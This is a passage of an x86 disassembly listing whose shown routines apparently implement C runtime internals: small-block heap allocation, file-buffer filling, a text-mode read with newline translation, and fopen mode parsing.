
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43CE70
		push	edi


loc_41F51C:				; CODE XREF: sub_41F50E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41F5C7
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41F581


loc_41F547:				; CODE XREF: sub_41F50E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41F56A
		cmp	[edi+4], ebx
		jbe	short loc_41F56A
		push	ebx
		push	ecx
		push	eax
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41F56A:				; CODE XREF: sub_41F50E+40j
					; sub_41F50E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41F547
		jmp	short loc_41F584
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F50E+37j
		mov	ebx, [ebp+arg_0]


loc_41F584:				; CODE XREF: sub_41F50E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41F5CA


loc_41F597:				; CODE XREF: sub_41F50E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41F5B6
		cmp	[edi+4], ebx
		jbe	short loc_41F5B6
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	[edi+4], ebx


loc_41F5B6:				; CODE XREF: sub_41F50E+8Dj
					; sub_41F50E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41F597
		jmp	short loc_41F5CA
; ---------------------------------------------------------------------------


loc_41F5C7:				; CODE XREF: sub_41F50E+14j
		mov	ebx, [ebp+arg_0]


loc_41F5CA:				; CODE XREF: sub_41F50E+87j
					; sub_41F50E+B7j
		mov	esi, [esi]
		cmp	esi, off_43CE70
		jz	short loc_41F5E9
		jmp	loc_41F51C
; ---------------------------------------------------------------------------


loc_41F5D9:				; CODE XREF: sub_41F50E+54j
					; sub_41F50E+A3j
		mov	off_43CE70, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41F711
; ---------------------------------------------------------------------------


loc_41F5E9:				; CODE XREF: sub_41F50E+C4j
		mov	eax, offset off_43AE50
		mov	edi, eax


loc_41F5F0:				; CODE XREF: sub_41F50E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41F5FC
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41F608


loc_41F5FC:				; CODE XREF: sub_41F50E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41F6DD
		jmp	short loc_41F5F0
; ---------------------------------------------------------------------------


loc_41F608:				; CODE XREF: sub_41F50E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41F637


loc_41F626:				; CODE XREF: sub_41F50E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41F637
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41F626


loc_41F637:				; CODE XREF: sub_41F50E+116j
					; sub_41F50E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 2670C47h
		cmp	eax, esi
		jnz	loc_41F70F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41BF70
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41F69E
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41F674:				; CODE XREF: sub_41F50E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41F674


loc_41F69E:				; CODE XREF: sub_41F50E+15Ej
		mov	off_43CE70, edi
		lea	eax, [edi+2018h]


loc_41F6AA:				; CODE XREF: sub_41F50E+1A8j
		cmp	ecx, eax
		jnb	short loc_41F6BA
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41F6B8
		add	ecx, 8
		jmp	short loc_41F6AA
; ---------------------------------------------------------------------------


loc_41F6B8:				; CODE XREF: sub_41F50E+1A3j
		cmp	ecx, eax


loc_41F6BA:				; CODE XREF: sub_41F50E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F6DD:				; CODE XREF: sub_41F50E+F2j
		call	sub_41F216
		test	eax, eax
		jz	short loc_41F70F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43CE70, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F70F:				; CODE XREF: sub_41F50E+143j
					; sub_41F50E+1D6j
		xor	eax, eax


loc_41F711:				; CODE XREF: sub_41F50E+D6j
					; sub_41F50E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F716	proc near		; CODE XREF: sub_41F50E+4Ap
					; sub_41F50E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41F75B
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41F74A
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41F753
; ---------------------------------------------------------------------------


loc_41F74A:				; CODE XREF: sub_41F716+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F753:				; CODE XREF: sub_41F716+32j
		lea	eax, [edi+8]
		jmp	loc_41F829
; ---------------------------------------------------------------------------


loc_41F75B:				; CODE XREF: sub_41F716+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41F764
		mov	eax, esi


loc_41F764:				; CODE XREF: sub_41F716+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41F7AE


loc_41F76B:				; CODE XREF: sub_41F716+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41F7A1
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41F777:				; CODE XREF: sub_41F716+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F780
		inc	ebx
		inc	esi
		jmp	short loc_41F777
; ---------------------------------------------------------------------------


loc_41F780:				; CODE XREF: sub_41F716+64j
		cmp	esi, edx
		jnb	short loc_41F7D2
		cmp	eax, [ebp+var_4]
		jnz	short loc_41F78E
		mov	[ecx+4], esi
		jmp	short loc_41F79A
; ---------------------------------------------------------------------------


loc_41F78E:				; CODE XREF: sub_41F716+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41F833


loc_41F79A:				; CODE XREF: sub_41F716+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41F7A6
; ---------------------------------------------------------------------------


loc_41F7A1:				; CODE XREF: sub_41F716+59j
		movzx	esi, bl
		add	eax, esi


loc_41F7A6:				; CODE XREF: sub_41F716+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41F76B


loc_41F7AE:				; CODE XREF: sub_41F716+53j
		lea	esi, [ecx+8]


loc_41F7B1:				; CODE XREF: sub_41F716+EBj
					; sub_41F716+F2j
		cmp	esi, edi
		jnb	short loc_41F833
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41F833
		mov	al, [esi]
		test	al, al
		jnz	short loc_41F803
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41F7C9:				; CODE XREF: sub_41F716+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F7F3
		inc	ebx
		inc	eax
		jmp	short loc_41F7C9
; ---------------------------------------------------------------------------


loc_41F7D2:				; CODE XREF: sub_41F716+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F7E3
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41F7EC
; ---------------------------------------------------------------------------


loc_41F7E3:				; CODE XREF: sub_41F716+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41F7EC:				; CODE XREF: sub_41F716+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41F829
; ---------------------------------------------------------------------------


loc_41F7F3:				; CODE XREF: sub_41F716+B6j
		cmp	eax, edx
		jnb	short loc_41F80A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41F833
		mov	esi, ebx
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F803:				; CODE XREF: sub_41F716+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F80A:				; CODE XREF: sub_41F716+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F81B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41F824
; ---------------------------------------------------------------------------


loc_41F81B:				; CODE XREF: sub_41F716+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F824:				; CODE XREF: sub_41F716+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41F829:				; CODE XREF: sub_41F716+40j
					; sub_41F716+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41F835
; ---------------------------------------------------------------------------


loc_41F833:				; CODE XREF: sub_41F716+7Ej
					; sub_41F716+9Dj ...
		xor	eax, eax


loc_41F835:				; CODE XREF: sub_41F716+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F716	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F83A	proc near		; CODE XREF: sub_41BBE2+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41F874
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F8D4
; ---------------------------------------------------------------------------


loc_41F874:				; CODE XREF: sub_41F83A+26j
		jnb	short loc_41F8DB
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F8DB
		lea	eax, [ecx+edx]


loc_41F889:				; CODE XREF: sub_41F83A+59j
		cmp	eax, esi
		jnb	short loc_41F897
		cmp	byte ptr [eax],	0
		jnz	short loc_41F895
		inc	eax
		jmp	short loc_41F889
; ---------------------------------------------------------------------------


loc_41F895:				; CODE XREF: sub_41F83A+56j
		cmp	eax, esi


loc_41F897:				; CODE XREF: sub_41F83A+51j
		jnz	short loc_41F8DB
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F8CF
		cmp	esi, eax
		jbe	short loc_41F8CF
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F8C6
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F8C1


loc_41F8BA:				; CODE XREF: sub_41F83A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F8BA


loc_41F8C1:				; CODE XREF: sub_41F83A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F8CF
; ---------------------------------------------------------------------------


loc_41F8C6:				; CODE XREF: sub_41F83A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F8CF:				; CODE XREF: sub_41F83A+68j
					; sub_41F83A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F8D4:				; CODE XREF: sub_41F83A+38j
		mov	[ebp+var_4], 1


loc_41F8DB:				; CODE XREF: sub_41F83A:loc_41F874j
					; sub_41F83A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F83A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F8E3	proc near		; CODE XREF: sub_41BAFA+A9p
					; sub_41C52F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F9B7
		test	al, 40h
		jnz	loc_41F9B7
		test	al, 2
		jz	short loc_41F909
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F9B7
; ---------------------------------------------------------------------------


loc_41F909:				; CODE XREF: sub_41F8E3+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F91D
		push	esi
		call	sub_4241F7
		pop	ecx
		jmp	short loc_41F922
; ---------------------------------------------------------------------------


loc_41F91D:				; CODE XREF: sub_41F8E3+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F922:				; CODE XREF: sub_41F8E3+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F9A6
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F9A6
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F97B
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F964
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DD040[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F969
; ---------------------------------------------------------------------------


loc_41F964:				; CODE XREF: sub_41F8E3+6Bj
		mov	edi, offset dword_43D4D0


loc_41F969:				; CODE XREF: sub_41F8E3+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F97B
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F97B:				; CODE XREF: sub_41F8E3+62j
					; sub_41F8E3+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F998
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F998
		test	ch, 4
		jnz	short loc_41F998
		mov	dword ptr [esi+18h], 1000h


loc_41F998:				; CODE XREF: sub_41F8E3+9Fj
					; sub_41F8E3+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F9A6:				; CODE XREF: sub_41F8E3+55j
					; sub_41F8E3+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F9B7:				; CODE XREF: sub_41F8E3+Aj
					; sub_41F8E3+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F8E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F9BC	proc near		; CODE XREF: sub_41BAFA+90p
					; sub_41F8E3+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DD140
		jnb	loc_41FB99
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DD040h[eax*4]
		mov	eax, dword_4DD040[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41FB99
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41FA71
		test	dl, 2
		jnz	short loc_41FA71
		test	dl, 48h
		jz	short loc_41FA31
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41FA31
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41FA31:				; CODE XREF: sub_41F9BC+56j
					; sub_41F9BC+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2730000h
		test	eax, eax
		jnz	short loc_41FA84
		call	near ptr 26A0CA7h
		nop
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41FA6C
		mov	dword_4DBDDC, 9
		mov	dword_4DBDE0, ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA6C:				; CODE XREF: sub_41F9BC+99j
		cmp	eax, 6Dh
		jnz	short loc_41FA78


loc_41FA71:				; CODE XREF: sub_41F9BC+4Cj
					; sub_41F9BC+51j
		xor	eax, eax
		jmp	loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FA78:				; CODE XREF: sub_41F9BC+B3j
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA84:				; CODE XREF: sub_41F9BC+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41FB94
		test	edx, edx
		jz	short loc_41FAA9
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41FAA9
		or	al, 4
		jmp	short loc_41FAAB
; ---------------------------------------------------------------------------


loc_41FAA9:				; CODE XREF: sub_41F9BC+E2j
					; sub_41F9BC+E7j
		and	al, 0FBh


loc_41FAAB:				; CODE XREF: sub_41F9BC+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41FB8E


loc_41FAC3:				; CODE XREF: sub_41F9BC+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41FB7E
		cmp	al, 0Dh
		jz	short loc_41FADF
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41FB70
; ---------------------------------------------------------------------------


loc_41FADF:				; CODE XREF: sub_41F9BC+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41FAFD
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41FAF4
		add	[ebp+arg_8], 2
		jmp	short loc_41FB52
; ---------------------------------------------------------------------------


loc_41FAF4:				; CODE XREF: sub_41F9BC+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FAFD:				; CODE XREF: sub_41F9BC+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 2730000h
		nop
		test	eax, eax
		jnz	short loc_41FB25
		nop
		call	near ptr 26A0CA7h
		test	eax, eax
		jnz	short loc_41FB6C


loc_41FB25:				; CODE XREF: sub_41F9BC+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41FB6C
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41FB47
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41FB52
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F9BC+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41FB57
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41FB57


loc_41FB52:				; CODE XREF: sub_41F9BC+136j
					; sub_41F9BC+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41FB6F
; ---------------------------------------------------------------------------


loc_41FB57:				; CODE XREF: sub_41F9BC+18Ej
					; sub_41F9BC+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_422F09
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41FB70


loc_41FB6C:				; CODE XREF: sub_41F9BC+167j
					; sub_41F9BC+16Dj
		mov	byte ptr [edi],	0Dh


loc_41FB6F:				; CODE XREF: sub_41F9BC+199j
		inc	edi


loc_41FB70:				; CODE XREF: sub_41F9BC+11Ej
					; sub_41F9BC+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41FAC3
		jmp	short loc_41FB8E
; ---------------------------------------------------------------------------


loc_41FB7E:				; CODE XREF: sub_41F9BC+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41FB8E
		or	al, 2
		mov	[esi], al


loc_41FB8E:				; CODE XREF: sub_41F9BC+101j
					; sub_41F9BC+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41FB94:				; CODE XREF: sub_41F9BC+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FB99:				; CODE XREF: sub_41F9BC+12j
					; sub_41F9BC+39j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_41FBAA:				; CODE XREF: sub_41F9BC+ABj
					; sub_41F9BC+C3j
		or	eax, 0FFFFFFFFh


loc_41FBAD:				; CODE XREF: sub_41F9BC+B7j
					; sub_41F9BC+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F9BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FBB2	proc near		; CODE XREF: sub_41BBE2+126p
					; sub_41BBE2+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DBE44
		test	eax, eax
		jz	short loc_41FBCA
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41FBCA
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41FBCA:				; CODE XREF: sub_41FBB2+7j
					; sub_41FBB2+12j
		xor	eax, eax
		retn
sub_41FBB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FBCD	proc near		; CODE XREF: sub_41BE82+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DBFB0
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41FC06
		cmp	al, 72h
		jz	short loc_41FBFF
		cmp	al, 77h
		jnz	loc_41FD1A
		mov	ecx, 301h
		jmp	short loc_41FC0B
; ---------------------------------------------------------------------------


loc_41FBFF:				; CODE XREF: sub_41FBCD+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41FC0E
; ---------------------------------------------------------------------------


loc_41FC06:				; CODE XREF: sub_41FBCD+1Dj
		mov	ecx, 109h


loc_41FC0B:				; CODE XREF: sub_41FBCD+30j
		or	esi, 2


loc_41FC0E:				; CODE XREF: sub_41FBCD+37j
		push	1
		pop	edx


loc_41FC11:				; CODE XREF: sub_41FBCD+8Bj
					; sub_41FBCD+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41FD00
		cmp	edx, ebx
		jz	loc_41FD00
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41FC9F
		jz	short loc_41FC8F
		sub	eax, 2Bh
		jz	short loc_41FC79
		sub	eax, 19h
		jz	short loc_41FC6F
		sub	eax, 0Eh
		jz	short loc_41FC5A
		dec	eax
		jnz	loc_41FCF1
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC5A:				; CODE XREF: sub_41FBCD+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC6F:				; CODE XREF: sub_41FBCD+6Aj
		test	cl, 40h
		jnz	short loc_41FCF1
		or	ecx, 40h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC79:				; CODE XREF: sub_41FBCD+65j
		test	cl, 2
		jnz	short loc_41FCF1
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC8F:				; CODE XREF: sub_41FBCD+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41FCF1
		or	ecx, eax
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC9F:				; CODE XREF: sub_41FBCD+5Ej
		sub	eax, 62h
		jz	short loc_41FCEC
		dec	eax
		jz	short loc_41FCD5
		sub	eax, 0Bh
		jz	short loc_41FCBE
		sub	eax, 6
		jnz	short loc_41FCF1
		test	ch, 0C0h
		jnz	short loc_41FCF1
		or	ch, 40h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCBE:				; CODE XREF: sub_41FBCD+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCD5:				; CODE XREF: sub_41FBCD+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCEC:				; CODE XREF: sub_41FBCD+D5j
		test	ch, 0C0h
		jz	short loc_41FCF8


loc_41FCF1:				; CODE XREF: sub_41FBCD+72j
					; sub_41FBCD+7Bj ...
		xor	edx, edx
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCF8:				; CODE XREF: sub_41FBCD+122j
		or	ch, 80h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FD00:				; CODE XREF: sub_41FBCD+4Aj
					; sub_41FBCD+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_42423B
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41FD1E


loc_41FD1A:				; CODE XREF: sub_41FBCD+25j
		xor	eax, eax
		jmp	short loc_41FD38
